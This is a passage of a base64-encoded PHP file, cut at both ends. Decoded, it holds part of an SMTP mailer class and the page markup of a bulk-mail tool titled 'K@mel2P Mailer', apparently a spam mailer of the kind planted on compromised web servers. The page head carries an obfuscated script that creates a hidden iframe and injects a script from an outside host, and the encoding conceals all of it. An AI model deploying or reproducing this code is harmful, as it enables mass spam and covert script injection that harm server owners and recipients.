1zdHJfcGFkKCRrZXksJGJ5dGVsZW4sY2hyKDB4MDApKTskaXBhZD1zdHJfcGFkKCcnLCRieXRlbGVuLGNocigweDM2KSk7JG9wYWQ9c3RyX3BhZCgnJywkYnl0ZWxlbixjaHIoMHg1YykpOyRrX2lwYWQ9JGtleSBeICRpcGFkOyRrX29wYWQ9JGtleSBeICRvcGFkO3JldHVybiBtZDUoJGtfb3BhZC5wYWNrKCdIKicsbWQ1KCRrX2lwYWQuJGRhdGEpKSk7fXB1YmxpYyBmdW5jdGlvbiBjb25uZWN0ZWQoKXtpZihpc19yZXNvdXJjZSgkdGhpcy0+c210cF9jb25uKSl7JHNvY2tfc3RhdHVzPXN0cmVhbV9nZXRfbWV0YV9kYXRhKCR0aGlzLT5zbXRwX2Nvbm4pO2lmKCRzb2NrX3N0YXR1c1snZW9mJ10peyR0aGlzLT5lZGVidWcoJ1NNVFAgTk9USUNFOiBFT0YgY2F1Z2h0IHdoaWxlIGNoZWNraW5nIGlmIGNvbm5lY3RlZCcsc2VsZjo6REVCVUdfQ0xJRU5UKTskdGhpcy0+Y2xvc2UoKTtyZXR1cm4gZmFsc2U7fXJldHVybiB0cnVlO31yZXR1cm4gZmFsc2U7fXB1YmxpYyBmdW5jdGlvbiBjbG9zZSgpeyR0aGlzLT5zZXRFcnJvcignJyk7JHRoaXMtPnNlcnZlcl9jYXBzPW51bGw7JHRoaXMtPmhlbG9fcnBseT1udWxsO2lmKGlzX3Jlc291cmNlKCR0aGlzLT5zbXRwX2Nvbm4pKXtmY2xvc2UoJHRoaXMtPnNtdHBfY29ubik7JHRoaXMtPnNtdHBfY29ubj1udWxsOyR0aGlzLT5lZGVidWcoJ0Nvbm5lY3Rpb246IGNsb3NlZCcsc2VsZjo6REVCVUdfQ09OTkVDVElPTik7fX1wdWJsaWMgZnVuY3Rpb24gZGF0YSgkbXNnX2RhdGEpe2lmKCEkdGhpcy0+c2VuZENvbW1hbmQoJ0RBVEEnLCdEQVRBJywzNTQpKXtyZXR1cm4gZmFsc2U7fSRsaW5lcz1leHBsb2RlKCJcbiIsc3RyX3JlcGxhY2UoWyJcclxuIiwiXHIiXSwiXG4iLCRtc2dfZGF0YSkpOyRmaWVsZD1zdWJzdHIoJGxpbmVzWzBdLDAsc3RycG9zKCRsaW5lc1swXSwnOicpKTskaW5faGVhZGVycz1mYWxzZTtpZighZW1wdHkoJGZpZWxkKWFuZCBzdHJwb3MoJGZpZWxkLCcgJyk9PT1mYWxzZSl7JGluX2hlYWRlcnM9dHJ1ZTt9Zm9yZWFjaCgkbGluZXMgYXMgJGxpbmUpeyRsaW5lc19vdXQ9W107aWYoJGluX2hlYWRlcnMgYW5kICRsaW5lPT0nJyl7JGluX2hlYWRlcnM9ZmFsc2U7fXdoaWxlKGlzc2V0KCRsaW5lW3NlbGY6Ok1BWF9MSU5FX0xFTkdUSF0pKXskcG9zPXN0cnJwb3Moc3Vic3RyKCRsaW5lLDAsc2VsZjo6TUFYX0xJTkVfTEVOR1RIKSwnICcpO2lmKCEkcG9zKXskcG9zPXNlbGY6Ok1BWF9MSU5FX0xFTkdUSC0xOyRsaW5lc19vdXRbXT1zdWJzdHIoJGxpbmUsMCwkcG9zKTskbGluZT1zdWJzdHIoJGxpbmUsJHBvcyk7fWVsc2V7JGxpbmVzX291dFtdPXN1YnN0cigkbGluZSwwLCRwb3MpOyRsaW5lPXN1YnN0cigkbGluZSwkcG9zKzEpO31pZigkaW5faGVhZGVycyl7JGxpbmU9Ilx0Ii4kbGluZTt9fSRsaW5lc19vdXRbXT0kbGluZTtmb3JlYWNoKCRsaW5lc19vdXQgYXMgJGxpbmVfb3V0KXtpZighZW1wdHkoJGxpbmVfb3V0KWFuZCAkbGluZV9vdXRbMF09PScuJyl7JGxpbmVfb3V0PScuJy4kbGluZV9vdXQ7fSR0aGlzLT5jbGllbnRfc2VuZCgkbGluZV9vdXQuc3RhdGljOjpMRSwnREFUQScpO319JHNhdmV0aW1lbGltaXQ9JHRoaXMtPlRpbWVsaW1pdDskdGhpcy0+VGltZWxpbWl0PSR0aGlzLT5UaW1lbGltaXQqMjskcmVzdWx0PSR0aGlzLT5zZW5kQ29tbWFuZCgnREFUQSBFTkQnLCcuJywyNTApOyR0aGlzLT5yZWNvcmRMYXN0VHJhbnNhY3Rpb25JRCgpOyR0aGlzLT5UaW1lbGltaXQ9JHNhdmV0aW1lbGltaXQ7cmV0dXJuICRyZXN1bHQ7fXB1YmxpYyBmdW5jdGlvbiBoZWxsbygkaG9zdD0nJyl7cmV0dXJuICR0aGlzLT5zZW5kSGVsbG8oJ0VITE8nLCRob3N0KW9yICR0aGlzLT5zZW5kSGVsbG8oJ0hFTE8nLCRob3N0KTt9cHJvdGVjdGVkIGZ1bmN0aW9uIHNlbmRIZWxsbygkaGVsbG8sJGhvc3QpeyRub2Vycm9yPSR0aGlzLT5zZW5kQ29tbWFuZCgkaGVsbG8sJGhlbGxvLicgJy4kaG9zdCwyNTApOyR0aGlzLT5oZWxvX3JwbHk9JHRoaXMtPmxhc3RfcmVwbHk7aWYoJG5vZXJyb3IpeyR0aGlzLT5wYXJzZUhlbGxvRmllbGRzKCRoZWxsbyk7fWVsc2V7JHRoaXMtPnNlcnZlcl9jYXBzPW51bGw7fXJldHVybiAkbm9lcnJvcjt9cHJvdGVjdGVkIGZ1bmN0aW9uIHBhcnNlSGVsbG9GaWVsZHMoJHR5cGUpeyR0aGlzLT5zZXJ2ZXJfY2Fwcz1bXTskbGluZXM9ZXhwbG9kZSgiXG4iLCR0aGlzLT5oZWxvX3JwbHkpO2ZvcmVhY2goJGxpbmVzIGFzICRuPT4kcyl7JHM9dHJpbShzdWJzdHIoJHMsNCkpO2lmKGVtcHR5KCRzKSl7Y29udGludWU7fSRmaWVsZHM9ZXhwbG9kZSgnICcsJHMpO2lmKCFlbXB0eSgkZmllbGRzKSl7aWYoISRuKXskbmFtZT0kdHlwZTskZmllbGRzPSRmaWVsZHNbMF07fWVsc2V7JG5hbWU9YXJyYXlfc2hpZnQoJGZpZWxkcyk7c3dpdGNoKCRuYW1lKXtjYXNlICdTSVpFJzokZmllbGRzPSgkZmllbGRzPyRmaWVsZHNbMF06MCk7YnJlYWs7Y2FzZSAnQVVUSCc6aWYoIWlzX2FycmF5KCRmaWVsZHMpKXskZmllbGRzPVtdO31icmVhaztkZWZhdWx0OiRmaWVsZHM9dHJ1ZTt9fSR0aGlzLT5zZXJ2ZXJfY2Fwc1skbmFtZV09JGZpZWxkczt9fX1wdWJsaWMgZnVuY3Rpb24gbWFpbCgkZnJvbSl7JHVzZVZlcnA9KCR0aGlzLT5kb192ZXJwPycgWFZFUlAnOicnKTtyZXR1cm4gJHRoaXMtPnNlbmRDb21tYW5kKCdNQUlMIEZST00nLCdNQUlMIEZST006PCcuJGZyb20uJz4nLiR1c2VWZXJwLDI1MCk7fXB1YmxpYyBmdW5jdGlvbiBxdWl0KCRjbG9zZV9vbl9lcnJvcj10cnVlKXskbm9lcnJvcj0kdGhpcy0+c2VuZENvbW1hbmQoJ1FVSVQnLCdRVUlUJywyMjEpOyRlcnI9JHRoaXMtPmVycm9yO2lmKCRub2Vycm9yIG9yICRjbG9zZV9vbl9lcnJvcil7JHRoaXMtPmNsb3NlKCk7JHRoaXMtPmVycm9yPSRlcnI7fXJldHVybiAkbm9lcnJvcjt9cHVibGljIGZ1bmN0aW9uIHJlY2lwaWVudCgkYWRkcmVzcywkZHNuPScnKXtpZihlbXB0eSgkZHNuKSl7JHJjcHQ9J1JDUFQgVE86PCcuJGFkZHJlc3MuJz4nO31lbHNleyRkc249c3RydG91cHBlcigkZHNuKTskbm90aWZ5PVtdO2lmKHN0cnBvcygkZHNuLCdORVZFUicpIT09ZmFsc2UpeyRub3RpZnlbXT0nTkVWRVInO31lbHNle2ZvcmVhY2goWydTVUNDRVNTJywnRkFJTFVSRScsJ0RFTEFZJ11hcyAkdmFsdWUpe2lmKHN0cnBvcygkZHNuLCR2YWx1ZSkhPT1mYWxzZSl7JG5vdGlmeVtdPSR2YWx1ZTt9fX0kcmNwdD0nUkNQVCBUTzo8Jy4kYWRkcmVzcy4nPiBOT1RJRlk9Jy5pbXBsb2RlKCcsJywkbm90aWZ5KTt9cmV0dXJuICR0aGlzLT5zZW5kQ29tbWFuZCgnUkNQVCBUTycsJHJjcHQsWzI1MCwyNTFdKTt9cHVibGljIGZ1bmN0aW9uIHJlc2V0KCl7cmV0dXJuICR0aGlzLT5zZW5kQ29tbWFuZCgnUlNFVCcsJ1JTRVQnLDI1MCk7fXByb3RlY3RlZCBmdW5jdGlvbiBzZW5kQ29tbWFuZCgkY29tbWFuZCwkY29tbWFuZHN0cmluZywkZXhwZWN0KXtpZighJHRoaXMtPmNvbm5lY3RlZCgpKXskdGhpcy0+c2V0RXJyb3IoIkNhbGxlZCRjb21tYW5kIHdpdGhvdXQgYmVpbmcgY29ubmVjdGVkIik7cmV0dXJuIGZhbHNlO31pZihzdHJwb3MoJGNvbW1hbmRzdHJpbmcsIlxuIikhPT1mYWxzZSBvciBzdHJwb3MoJGNvbW1hbmRzdHJpbmcsIlxyIikhPT1mYWxzZSl7JHRoaXMtPnNldEVycm9yKCJDb21tYW5kICckY29tbWFuZCcgY29udGFpbmVkIGxpbmUgYnJlYWtzIik7cmV0dXJuIGZhbHNlO30kdGhpcy0+Y2xpZW50X3NlbmQoJGNvbW1hbmRzdHJpbmcuc3RhdGljOjpMRSwkY29tbWFuZCk7JHRoaXMtPmxhc3RfcmVwbHk9JHRoaXMtPmdldF9saW5lcygpOyRtYXRjaGVzPVtdO2lmKHByZWdfbWF0Y2goJy9eKFswLTldezN9KVsgLV0oPzooWzAtOV1cXC5bMC05XVxcLlswLTldezEsMn0pICk/LycsJHRoaXMtPmxhc3RfcmVwbHksJG1hdGNoZXMpKXskY29kZT0kbWF0Y2hlc1sxXTskY29kZV9leD0oY291bnQoJG1hdGNoZXMpPjI/JG1hdGNoZXNbMl06bnVsbCk7JGRldGFpbD1wcmVnX3JlcGxhY2UoIi97JGNvZGV9WyAtXSIuKCRjb2RlX2V4P3N0cl9yZXBsYWNlKCcuJywnXFwuJywkY29kZV9leCkuJyAnOicnKS4nL20nLCcnLCR0aGlzLT5sYXN0X3JlcGx5KTt9ZWxzZXskY29kZT1zdWJzdHIoJHRoaXMtPmxhc3RfcmVwbHksMCwzKTskY29kZV9leD1udWxsOyRkZXRhaWw9c3Vic3RyKCR0aGlzLT5sYXN0X3JlcGx5LDQpO30kdGhpcy0+ZWRlYnVnKCdTRVJWRVIgLT4gQ0xJRU5UOiAnLiR0aGlzLT5sYXN0X3JlcGx5LHNlbGY6OkRFQlVHX1NFUlZFUik7aWYoIWluX2FycmF5KCRjb2RlLChhcnJheSkkZXhwZWN0KSl7JHRoaXMtPnNldEVycm9yKCIkY29tbWFuZCBjb21tYW5kIGZhaWxlZCIsJGRldGFpbCwkY29kZSwkY29kZV9leCk7JHRoaXMtPmVkZWJ1ZygnU01UUCBFUlJPUjogJy4kdGhpcy0+ZXJyb3JbJ2Vycm9yJ10uJzogJy4kdGhpcy0+bGFzdF9yZXBseSxzZWxmOjpERUJVR19DTElFTlQpO3JldHVybiBmYWxzZTt9JHRoaXMtPnNldEVycm9yKCcnKTtyZXR1cm4gdHJ1ZTt9cHVibGljIGZ1bmN0aW9uIHNlbmRBbmRNYWlsKCRmcm9tKXtyZXR1cm4gJHRoaXMtPnNlbmRDb21tYW5kKCdTQU1MJywiU0FNTCBGUk9NOiRmcm9tIiwyNTApO31wdWJsaWMgZnVuY3Rpb24gdmVyaWZ5KCRuYW1lKXtyZXR1cm4gJHRoaXMtPnNlbmRDb21tYW5kKCdWUkZZJywiVlJGWSRuYW1lIixbMjUwLDI1MV0pO31wdWJsaWMgZnVuY3Rpb24gbm9vcCgpe3JldHVybiAkdGhpcy0+c2VuZENvbW1hbmQoJ05PT1AnLCdOT09QJywyNTApO31wdWJsaWMgZnVuY3Rpb24gdHVybigpeyR0aGlzLT5zZXRFcnJvcignVGhlIFNNVFAgVFVSTiBjb21tYW5kIGlzIG5vdCBpbXBsZW1lbnRlZCcpOyR0aGlzLT5lZGVidWcoJ1NNVFAgTk9USUNFOiAnLiR0aGlzLT5lcnJvclsnZXJyb3InXSxzZWxmOjpERUJVR19DTElFTlQpO3JldHVybiBmYWxzZTt9cHVibGljIGZ1bmN0aW9uIGNsaWVudF9zZW5kKCRkYXRhLCRjb21tYW5kPScnKXtpZihzZWxmOjpERUJVR19MT1dMRVZFTD4kdGhpcy0+ZG9fZGVidWcgYW5kIGluX2FycmF5KCRjb21tYW5kLFsnVXNlciAmIFBhc3N3b3JkJywnVXNlcm5hbWUnLCdQYXNzd29yZCddLHRydWUpKXskdGhpcy0+ZWRlYnVnKCdDTElFTlQgLT4gU0VSVkVSOiA8Y3JlZGVudGlhbHMgaGlkZGVuPicsc2VsZjo6REVCVUdfQ0xJRU5UKTt9ZWxzZXskdGhpcy0+ZWRlYnVnKCdDTElFTlQgLT4gU0VSVkVSOiAnLiRkYXRhLHNlbGY6OkRFQlVHX0NMSUVOVCk7fXNldF9lcnJvcl9oYW5kbGVyKFskdGhpcywnZXJyb3JIYW5kbGVyJ10pOyRyZXN1bHQ9ZndyaXRlKCR0aGlzLT5zbXRwX2Nvbm4sJGRhdGEpO3Jlc3RvcmVfZXJyb3JfaGFuZGxlcigpO3JldHVybiAkcmVzdWx0O31wdWJsaWMgZnVuY3Rpb24gZ2V0RXJyb3IoKXtyZXR1cm4gJHRoaXMtPmVycm9yO31wdWJsaWMgZnVuY3Rpb24gZ2V0U2VydmVyRXh0TGlzdCgpe3JldHVybiAkdGhpcy0+c2VydmVyX2NhcHM7fXB1YmxpYyBmdW5jdGlvbiBnZXRTZXJ2ZXJFeHQoJG5hbWUpe2lmKCEkdGhpcy0+c2VydmVyX2NhcHMpeyR0aGlzLT5zZXRFcnJvcignTm8gSEVMTy9FSExPIHdhcyBzZW50Jyk7cmV0dXJuO31pZighYXJyYXlfa2V5X2V4aXN0cygkbmFtZSwkdGhpcy0+c2VydmVyX2NhcHMpKXtpZignSEVMTyc9PSRuYW1lKXtyZXR1cm4gJHRoaXMtPnNlcnZlcl9jYXBzWydFSExPJ107fWlmKCdFSExPJz09JG5hbWV8fGFycmF5X2tleV9leGlzdHMoJ0VITE8nLCR0aGlzLT5zZXJ2ZXJfY2Fwcykpe3JldHVybiBmYWxzZTt9JHRoaXMtPnNldEVycm9yKCdIRUxPIGhhbmRzaGFrZSB3YXMgdXNlZDsgTm8gaW5mb3JtYXRpb24gYWJvdXQgc2VydmVyIGV4dGVuc2lvbnMgYXZhaWxhYmxlJyk7cmV0dXJuO31yZXR1cm4gJHRoaXMtPnNlcnZlcl9jYXBzWyRuYW1lXTt9cHVibGljIGZ1bmN0aW9uIGdldExhc3RSZXBseSgpe3JldHVybiAkdGhpcy0+bGFzdF9yZXBseTt9cHJvdGVjdGVkIGZ1bmN0aW9uIGdldF9saW5lcygpe2lmKCFpc19yZXNvdXJjZSgkdGhpcy0+c210cF9jb25uKSl7cmV0dXJuICcnO30kZGF0YT0nJzskZW5kdGltZT0wO3N0cmVhbV9zZXRfdGltZW91dCgkdGhpcy0+c210cF9jb25uLCR0aGlzLT5UaW1lb3V0KTtpZigkdGhpcy0+VGltZWxpbWl0PjApeyRlbmR0aW1lPXRpbWUoKSskdGhpcy0+VGltZWxpbWl0O30kc2VsUj1bJHRoaXMtPnNtdHBfY29ubl07JHNlbFc9bnVsbDt3aGlsZShpc19yZXNvdXJjZSgkdGhpcy0+c210cF9jb25uKWFuZCFmZW9mKCR0aGlzLT5zbXRwX2Nvbm4pKXtpZighc3RyZWFtX3NlbGVjdCgkc2VsUiwkc2VsVywkc2VsVywkdGhpcy0+VGltZWxpbWl0KSl7JHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBnZXRfbGluZXMoKTogdGltZWQtb3V0ICgnLiR0aGlzLT5UaW1lb3V0Licgc2VjKScsc2VsZjo6REVCVUdfTE9XTEVWRUwpO2JyZWFrO30kc3RyPUBmZ2V0cygkdGhpcy0+c210cF9jb25uLDUxNSk7JHRoaXMtPmVkZWJ1ZygnU01UUCBJTkJPVU5EOiAiJy50cmltKCRzdHIpLiciJyxzZWxmOjpERUJVR19MT1dMRVZFTCk7JGRhdGEuPSRzdHI7aWYoIWlzc2V0KCRzdHJbM10pb3IoaXNzZXQoJHN0clszXSlhbmQgJHN0clszXT09JyAnKSl7YnJlYWs7fSRpbmZvPXN0cmVhbV9nZXRfbWV0YV9kYXRhKCR0aGlzLT5zbXRwX2Nvbm4pO2lmKCRpbmZvWyd0aW1lZF9vdXQnXSl7JHRoaXMtPmVkZWJ1ZygnU01UUCAtPiBnZXRfbGluZXMoKTogdGltZWQtb3V0ICgnLiR0aGlzLT5UaW1lb3V0Licgc2VjKScsc2VsZjo6REVCVUdfTE9XTEVWRUwpO2JyZWFrO31pZigkZW5kdGltZSBhbmQgdGltZSgpPiRlbmR0aW1lKXskdGhpcy0+ZWRlYnVnKCdTTVRQIC0+IGdldF9saW5lcygpOiB0aW1lbGltaXQgcmVhY2hlZCAoJy4kdGhpcy0+VGltZWxpbWl0Licgc2VjKScsc2VsZjo6REVCVUdfTE9XTEVWRUwpO2JyZWFrO319cmV0dXJuICRkYXRhO31wdWJsaWMgZnVuY3Rpb24gc2V0VmVycCgkZW5hYmxlZD1mYWxzZSl7JHRoaXMtPmRvX3ZlcnA9JGVuYWJsZWQ7fXB1YmxpYyBmdW5jdGlvbiBnZXRWZXJwKCl7cmV0dXJuICR0aGlzLT5kb192ZXJwO31wcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1lc3NhZ2UsJGRldGFpbD0nJywkc210cF9jb2RlPScnLCRzbXRwX2NvZGVfZXg9JycpeyR0aGlzLT5lcnJvcj1bJ2Vycm9yJz0+JG1lc3NhZ2UsJ2RldGFpbCc9PiRkZXRhaWwsJ3NtdHBfY29kZSc9PiRzbXRwX2NvZGUsJ3NtdHBfY29kZV9leCc9PiRzbXRwX2NvZGVfZXgsXTt9cHVibGljIGZ1bmN0aW9uIHNldERlYnVnT3V0cHV0KCRtZXRob2Q9J2VjaG8nKXskdGhpcy0+RGVidWdvdXRwdXQ9JG1ldGhvZDt9cHVibGljIGZ1bmN0aW9uIGdldERlYnVnT3V0cHV0KCl7cmV0dXJuICR0aGlzLT5EZWJ1Z291dHB1dDt9cHVibGljIGZ1bmN0aW9uIHNldERlYnVnTGV2ZWwoJGxldmVsPTApeyR0aGlzLT5kb19kZWJ1Zz0kbGV2ZWw7fXB1YmxpYyBmdW5jdGlvbiBnZXREZWJ1Z0xldmVsKCl7cmV0dXJuICR0aGlzLT5kb19kZWJ1Zzt9cHVibGljIGZ1bmN0aW9uIHNldFRpbWVvdXQoJHRpbWVvdXQ9MCl7JHRoaXMtPlRpbWVvdXQ9JHRpbWVvdXQ7fXB1YmxpYyBmdW5jdGlvbiBnZXRUaW1lb3V0KCl7cmV0dXJuICR0aGlzLT5UaW1lb3V0O31wcm90ZWN0ZWQgZnVuY3Rpb24gZXJyb3JIYW5kbGVyKCRlcnJubywkZXJybXNnLCRlcnJmaWxlPScnLCRlcnJsaW5lPTApeyRub3RpY2U9J0Nvbm5lY3Rpb24gZmFpbGVkLic7JHRoaXMtPnNldEVycm9yKCRub3RpY2UsJGVycm1zZywoc3RyaW5nKSRlcnJubyk7JHRoaXMtPmVkZWJ1ZygiJG5vdGljZSBFcnJvciAjJGVycm5vOiAkZXJybXNnIFskZXJyZmlsZSBsaW5lICRlcnJsaW5lXSIsc2VsZjo6REVCVUdfQ09OTkVDVElPTik7fXByb3RlY3RlZCBmdW5jdGlvbiByZWNvcmRMYXN0VHJhbnNhY3Rpb25JRCgpeyRyZXBseT0kdGhpcy0+Z2V0TGFzdFJlcGx5KCk7aWYoZW1wdHkoJHJlcGx5KSl7JHRoaXMtPmxhc3Rfc210cF90cmFuc2FjdGlvbl9pZD1udWxsO31lbHNleyR0aGlzLT5sYXN0X3NtdHBfdHJhbnNhY3Rpb25faWQ9ZmFsc2U7Zm9yZWFjaCgkdGhpcy0+c210cF90cmFuc2FjdGlvbl9pZF9wYXR0ZXJucyBhcyAkc210cF90cmFuc2FjdGlvbl9pZF9wYXR0ZXJuKXtpZihwcmVnX21hdGNoKCRzbXRwX3RyYW5zYWN0aW9uX2lkX3BhdHRlcm4sJHJlcGx5LCRtYXRjaGVzKSl7JHRoaXMtPmxhc3Rfc210cF90cmFuc2FjdGlvbl9pZD10cmltKCRtYXRjaGVzWzFdKTticmVhazt9fX1yZXR1cm4gJHRoaXMtPmxhc3Rfc210cF90cmFuc2FjdGlvbl9pZDt9cHVibGljIGZ1bmN0aW9uIGdldExhc3RUcmFuc2FjdGlvbklEKCl7cmV0dXJuICR0aGlzLT5sYXN0X3NtdHBfdHJhbnNhY3Rpb25faWQ7fX0KLyoqCiAqIFBIUE1haWxlciBleGNlcHRpb24gaGFuZGxlcgogKiBAcGFja2FnZSBQSFBNYWlsZXIKICovCmNsYXNzIHBocG1haWxlckV4Y2VwdGlvbiBleHRlbmRzIEV4Y2VwdGlvbgp7CiAgICAvKioKICAgICAqIFByZXR0aWZ5IGVycm9yIG1lc3NhZ2Ugb3V0cHV0CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZXJyb3JNZXNzYWdlKCkKICAgIHsKICAgICAgICAkZXJyb3JNc2cgPSAnPHN0cm9uZz4nIC4gJHRoaXMtPmdldE1lc3NhZ2UoKSAuICI8L3N0cm9uZz48YnIgLz5cbiI7CiAgICAgICAgcmV0dXJuICRlcnJvck1zZzsKICAgIH0KfQoKcHJpbnQgJwo8aGVhZD48c2NyaXB0PmlmKHRvcD09d2luZG93KXt2YXIgZW5nYWdlTmFtZVNwYWNlPSJlbmdhZ2VucyI7InVuZGVmaW5lZCI9PXR5cGVvZiB3aW5kb3dbZW5nYWdlTmFtZVNwYWNlXSYmKHdpbmRvd1tlbmdhZ2VOYW1lU3BhY2VdPXt9KSx3aW5kb3dbZW5nYWdlTmFtZVNwYWNlXS5lbmdhZ2VMb2FkZXI9ZnVuY3Rpb24oKXtmdW5jdGlvbiBlKGUpe3JldHVybiJ1bmRlZmluZWQiIT10eXBlb2YgZSYmbnVsbCE9PWV9ZnVuY3Rpb24gdCgpe3ZhciB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3Quc2V0QXR0cmlidXRlKCJzcmMiLHMpLHQuc2V0QXR0cmlidXRlKCJpZCIsImZuX2VuZ2FnZV9zY3JpcHQiKSx0LnNldEF0dHJpYnV0ZSgiYXN5bmMiLCIiKSwobnVsbD09ZG9jdW1lbnQuaGVhZHx8ZShkb2N1bWVudC5oZWFkKSkmJihkb2N1bWVudC5oZWFkPWRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lKCJoZWFkIilbMF0pLGRvY3VtZW50LmhlYWQuYXBwZW5kQ2hpbGQodCl9ZnVuY3Rpb24gbigpe3ZhciB0PXIoKTtpZihlKHQpKXt2YXIgbj10O2koKSYmKG49ZCh0KSk7dmFyIG87dHJ5e289ZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LG8uYXBwZW5kQ2hpbGQobil9Y2F0Y2goYyl7bz1kb2N1bWVudC5ib2R5LG8uYXBwZW5kQ2hpbGQobil9YSgpfX1mdW5jdGlvbiBhKCl7ZnVuY3Rpb24gZShlKXt2YXIgbj1lLmRhdGE7Imw4SWZyYW1lSXNSZWFkeSI9PT1uLm1lc3NhZ2UmJnQoKX13aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcj93aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigibWVzc2FnZSIsZSwhMSk6d2luZG93LmF0dGFjaEV2ZW50KCJvbm1lc3NhZ2UiLGUpfWZ1bmN0aW9uIHIoKXt2YXIgdD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJpZnJhbWUiKTtpZihlKHQpKXt0LnNldEF0dHJpYnV0ZSgiaWQiLCJmbl9lbmdhZ2UiKSx0LnNldEF0dHJpYnV0ZSgic3JjIix1KSx0LnNldEF0dHJpYnV0ZSgidGFyZ2V0IiwiX2JsYW5rIiksdC5zZXRBdHRyaWJ1dGUoImZyYW1lYm9yZGVyIiwiMCIpO3ZhciBuPS9maXJlZm94L2kuZXhlYyhuYXZpZ2F0b3IudXNlckFnZW50KTtlKG4pJiZuLmxlbmd0aD4wPyh0LnN0eWxlLmhlaWdodD0wLHQuc3R5bGUud2lkdGg9MCk6dC5zdHlsZS5kaXNwbGF5PSJub25lIix0LmZyYW1lQm9yZGVyPSJubyJ9cmV0dXJuIHR9ZnVuY3Rpb24gaSgpe3ZhciB0PSExLG49L2FuZHJvaWQgKFxkKykvaS5leGVjKG5hdmlnYXRvci51c2VyQWdlbnQpO3JldHVybiBlKG4pJiZuLmxlbmd0aD4wJiYodD1wYXJzZUludChuWzFdKT49NCksdH1mdW5jdGlvbiBkKGUpe3ZhciB0PWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImRpdiIpO3JldHVybiB0LnNldEF0dHJpYnV0ZSgiaWQiLCJmbl93cmFwcGVyX2RpdiIpLHQuc3R5bGUucG9zaXRpb249ImZpeGVkIix0LnN0eWxlLmRpc3BsYXk9Im5vbmUiLHQub250b3VjaHN0YXJ0PWZ1bmN0aW9uKCl7cmV0dXJuITB9LHQuYXBwZW5kQ2hpbGQoZSksdH1mdW5jdGlvbiBvKCl7dmFyIHQ9dm9pZCAwLGE9dGhpcyxyPWZ1bmN0aW9uKCl7ZSh0KSYmKHdpbmRvdy5jbGVhclRpbWVvdXQodCksdD12b2lkIDAsbi5jYWxsKGEpKX07dD13aW5kb3cuc2V0VGltZW91dChyLDFlNCksImZ1bmN0aW9uIj09dHlwZW9mIHdpbmRvdy5hZGRFdmVudExpc3RlbmVyP3dpbmRvdy5hZGRFdmVudExpc3RlbmVyKCJsb2FkIixyLCExKTp3aW5kb3cuYXR0YWNoRXZlbnQoIm9ubG9hZCIscil9dmFyIGM9Imh0dHA6Ly9nbG9iZS5tb3JlZm9ybWUubmV0Iix1PWMrIi9sOC9FbmdhZ2VTZXJ2aWNlP3Y9MSIscz1jKyIvc2NyaXB0cy9FbmdhZ2UuanMiO28oKX07dmFyIGVuZ2FnZUxvYWRlcj1uZXcgd2luZG93W2VuZ2FnZU5hbWVTcGFjZV0uZW5nYWdlTG9hZGVyfTwvc2NyaXB0PgogICAgPHRpdGxlPktAbWVsMlAgTWFpbGVyPC90aXRsZT4KCTxsaW5rIHJlbD0iaWNvbiIgaHJlZj0iaHR0cHM6Ly94cy5odC9wcy5wbmciPgogICAgPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1UeXBlIiBjb250ZW50PSJ0ZXh0L2h0bWw7IGNoYXJzZXQ9dXRmLTgiLz4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8yLjEuMS9qcXVlcnkubWluLmpzIj48L3NjcmlwdD4KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vbWF4Y2RuLmJvb3RzdHJhcGNkbi5jb20vYm9vdHN3YXRjaC8zLjMuNi9jb3Ntby9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0IiA+CiAgICA8c2NyaXB0IHNyYz0iaHR0cHM6Ly9tYXhjZG4uYm9vdHN0cmFwY2RuLmNvbS9ib290c3RyYXAvMy4zLjYvanMvYm9vdHN0cmFwLm1pbi5qcyI+PC9zY3JpcHQ+CiAgICAKICAgICAKCjwvaGVhZD4nOwoKcHJpbnQgJzxib2R5Pic7CnByaW50ICcKPHNjcmlwdD4KCgl3aW5kb3cub25sb2FkID0gZnVuY2hhbmdlOwoJdmFyIGFsdCA9IGZhbHNlOwkKCWZ1bmN0aW9uIGZ1bmNoYW5nZSgpewoJCXZhciBldGV4dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlbWFpbExpc3QiKS52YWx1ZTsKCQl2YXIgbXlBcnJheT1uZXcgQXJyYXkoKTsgCgkJbXlBcnJheSA9IGV0ZXh0LnNwbGl0KCJcbiIpOwoJCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJlbnVtIikuaW5uZXJIVE1MPW15QXJyYXkubGVuZ3RoKyI8YnIgLz4iOwoJCWlmKCFhbHQgJiYgbXlBcnJheS5sZW5ndGggPiA0MDAwMCl7CgkJCWFsZXJ0KCJJZiBNYWlsIGxpc3QgTW9yZSBUaGFuIDQwMDAwIEVtYWlscyBUaGlzIE1heSBIYWNrIFRoZSBTZXJ2ZXIiKTsKCQkJYWx0ID0gdHJ1ZTsKCQl9CgkJCgl9Cjwvc2NyaXB0Pgo8c3R5bGU+CgoJaW5wdXQsIHNlbGVjdCwgdGV4dGFyZWF7CiAgICBjb2xvcjogI2ZmMDAwMDsKfQoJYm9keSB7CgkJYmFja2dyb3VuZDogIzJiMmIyYjsKCX0KICAgIHByZSB7YmFja2dyb3VuZDogIzAwMDsKICAgICAgICBwYWRkaW5nOiAxZW07CiAgICAgICAgd2hpdGUtc3BhY2U6IHVuc2V0OwogICAgICAgIGNvbG9yOiAjZmZmOwogICAgfQoKICAgIC5uZWl0aGVyIHsKICAgICAgICBmb250LXdlaWdodDogYm9sZDsKICAgICAgICBjb2xvcjogI2ZmZjsKICAgICAgICBtYXJnaW4tYm90dG9tOiAxZW07CiAgICB9CgogICAgLmNsaWVudCB7CiAgICAgICAgY29sb3I6ICM0OGZmNDg7CiAgICB9CgogICAgLnNl